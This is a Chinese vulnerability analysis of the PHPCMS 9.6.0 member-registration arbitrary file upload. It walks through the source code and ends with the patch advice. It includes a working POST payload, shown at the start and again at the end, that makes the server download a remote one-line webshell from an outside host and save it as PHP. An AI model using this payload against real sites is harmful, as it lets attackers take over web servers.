0x00 POC
url: /index.php?m=member&c=index&a=register&siteid=1 post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://192.168.31.131/test.txt?.php#.jpg&dosubmit=1&protocol=
其中http://192.168.31.131/test.txt内容为一句话
0x01 代码分析
漏洞点在 /phpcms/libs/classes/attachment.class.php 文件的第 166 行至 172 行, download 函数中
class attachment { ... function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value); } ... }
大概说一下这个函数的流程: 经过全局处理后,传入的值$value 为:src=http://192.168.31.131/test.txt?.php#.jpg
然后使用 new_stripslashes 删除反斜杠,然后对传入的 url 使用正则匹配,检查其后缀合法性。
此处正则不难懂,匹配 href 或者 src 的值,后缀检查这里只要 url 的最后是
以 gif|jpg|jpeg|bmp|png就可以继续执行下去了,这个地方是漏洞出现的一个原因,因为我们知道URL可以存在锚点,即#后面的内容,所以URL后面加上#.jpg。 经过匹配后的 $matches 的结构如下:
Array ( [0] => Array ( [0] => src=http://192.168.31.131/test.txt?.php#.jpg ) [1] => Array ( [0] => src ) [2] => Array ( [0] => ) [3] => Array ( [0] => http://192.168.31.131/test.txt?.php#.jpg ) [4] => Array ( [0] => jpg ) )
$matches[3]传入fillurl($matche, $absurl, $basehref)函数处理,fillurl()函数如下:
function fillurl($surl, $absurl, $basehref = '') { if($basehref != '') { $preurl = strtolower(substr($surl,0,6)); if($preurl=='http://' || $preurl=='ftp://' ||$preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule://'|| $preurl=='ed2k://') return $surl; else return $basehref.'/'.$surl; } $i = 0; $dstr = ''; $pstr = ''; $okurl = ''; $pathStep = 0; $surl = trim($surl); if($surl=='') return ''; $urls = @parse_url(SITE_URL); $HomeUrl = $urls['host']; $BaseUrlPath = $HomeUrl.$urls['path']; $BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/",'/',$BaseUrlPath); $BaseUrlPath = preg_replace("/\/$/",'',$BaseUrlPath); $pos = strpos($surl,'#'); if($pos>0) $surl = substr($surl,0,$pos); if($surl[0]=='/') { $okurl = 'http://'.$HomeUrl.'/'.$surl; } elseif($surl[0] == '.') { if(strlen($surl)<=2) return ''; elseif($surl[0]=='/') { $okurl = 'http://'.$BaseUrlPath.'/'.substr($surl,2,strlen($surl)-2); } else { $urls = explode('/',$surl); foreach($urls as $u) { if($u=="..") $pathStep++; else if($i<count($urls)-1) $dstr .= $urls[$i].'/'; else $dstr .= $urls[$i]; $i++; } $urls = explode('/', $BaseUrlPath); if(count($urls) <= $pathStep) return ''; else { $pstr = 'http://'; for($i=0;$i<count($urls)-$pathStep;$i++) { $pstr .= $urls[$i].'/'; } $okurl = $pstr.$dstr; } } } else { $preurl = strtolower(substr($surl,0,6)); if(strlen($surl)<7) $okurl = 'http://'.$BaseUrlPath.'/'.$surl; elseif($preurl=="http:/"||$preurl=='ftp://' ||$preurl=='mms://' || $preurl=="rtsp://" || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') $okurl = $surl; else $okurl = 'http://'.$BaseUrlPath.'/'.$surl; } $preurl = strtolower(substr($okurl,0,6)); if($preurl=='ftp://' || $preurl=='mms://' || $preurl=='rtsp://' || $preurl=='thunde' || $preurl=='emule:'|| $preurl=='ed2k:/') { return $okurl; } else { $okurl = preg_replace('/^(http:\/\/)/i','',$okurl); $okurl = preg_replace('/\/{1,}/i','/',$okurl); return 'http://'.$okurl; } }
这个函数就是除去锚点,所以取到的$remotefileurl的值为array('http://192.168.31.131/test.txt?.php#.jpg' => 'http://192.168.31.131/test.txt?.php'),这里去掉锚点又是漏洞的一个利用点,导致后面取到的文件后缀为php,而又没检测后缀,导致成功getshell,后面再说。
接着往下看:
foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); //获取文件名后缀,即php $file_name = basename($file); $filename = $this->getname($filename); //根据后缀生成随机文件名 $newfile = $uploaddir.$filename; //文件路径 $upload_func = $this->upload_func; //upload_func值为copy if($upload_func($file, $newfile)) { //直接调用copy函数拷贝远程文件 $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); //开发者怕shell运行不了还给了777权限,多贴心 $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } }
总结一下,先对传入的 url 使用preg_match_all进行后缀检查,然后用 fillurl 去掉 # 后面的 内容,再用 fileext 取新后缀,取到新后缀后未检验,就直接用 copy 下载文件并重命名。由于逻辑处理不当导致漏洞,即典型的把验证放在最前面,而后面的操作导致前面的验证形同虚设。
现在找到了漏洞存在的地方,就要找个触发漏洞的地方。
全局搜索attachment->download找到几处调用的地方,以 caches/caches_model/caches_data/member_input.class.php 为例:
function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); return $value; }
没有对$value过滤,继续找调用editor()的地方,用全局搜索没找到,观察好长时间也没找到,去看了看别人的分析才发现在get()函数里存在动态调用,这里可以构造调用editor()函数:
function get($data) { $this->data = $data = trim_script($data); $model_cache = getcache('member_model', 'commons'); $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename']; $info = array(); $debar_filed = array('catid','title','style','thumb','status','islink','description'); if(is_array($data)) { foreach($data as $field=>$value) { if($data['islink']==1 && !in_array($field,$debar_filed)) continue; $field = safe_replace($field); $name = $this->fields[$field]['name']; $minlength = $this->fields[$field]['minlength']; $maxlength = $this->fields[$field]['maxlength']; $pattern = $this->fields[$field]['pattern']; $errortips = $this->fields[$field]['errortips']; if(empty($errortips)) $errortips = "$name 不符合要求!"; $length = empty($value) ? 0 : strlen($value); if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!"); if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段'); if($maxlength && $length > $maxlength && !$isimport) { showmessage("$name 不得超过 $maxlength 个字符!"); } else { str_cut($value, $maxlength); } if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips); if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!"); $func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value); $info[$field] = $value; } } return $info; } $func = $this->fields[$field]['formtype']; 这里只需使$func得值为editor就可以调用,我们看看$fiels的值是怎么获取到的,构造函数: function __construct($modelid) { $this->db = pc_base::load_model('sitemodel_field_model'); $this->db_pre = $this->db->db_tablepre; $this->modelid = $modelid; $this->fields = getcache('model_field_'.$modelid,'model'); //初始化附件类 pc_base::load_sys_class('attachment','',0); $this->siteid = param::get_cookie('siteid'); $this->attachment = new attachment('content','0',$this->siteid); }
就是读取的caches/caches_model/caches_data/model_field_{$modelid}.cache.php文件,$modelid是我们可以控制的,正好在caches/caches_model/caches_data/model_field_1.cache.php 文件里面找到合适的 field 名:
... 'content' => array ( 'fieldid' => '8', 'modelid' => '1', 'siteid' => '1', 'field' => 'content', 'name' => '内容', 'tips' => ' 'css' => '', 'minlength' => '1', 'maxlength' => '999999', 'pattern' => '', 'errortips' => '内容不能为空', 'formtype' => 'editor', ... ), ...
即当传入的$field为content即可调用editor()函数,继续找调用get()函数的地方找到三处:
根据payload利用的是/phpcms/modules/member/index.php 中第135行的 register 方法:
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
所以只需$_POST['info'] 中
的 content 字段的值有src=http://192.168.31.131/test.txt?.php#.jpg便可以成功利用,register方法就是在注册的时候调用的,所以最终的payload:
url: /index.php?m=member&c=index&a=register&siteid=1
post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://192.168.31.131/test.txt?.php#.jpg&dosubmit=1&protocol=
注意username和email不要重复,根据代码逻辑,重复了也会传上shell,但是不会返回路径。
0x02 漏洞修复
官网已推出补丁,升级到9.6.1即可。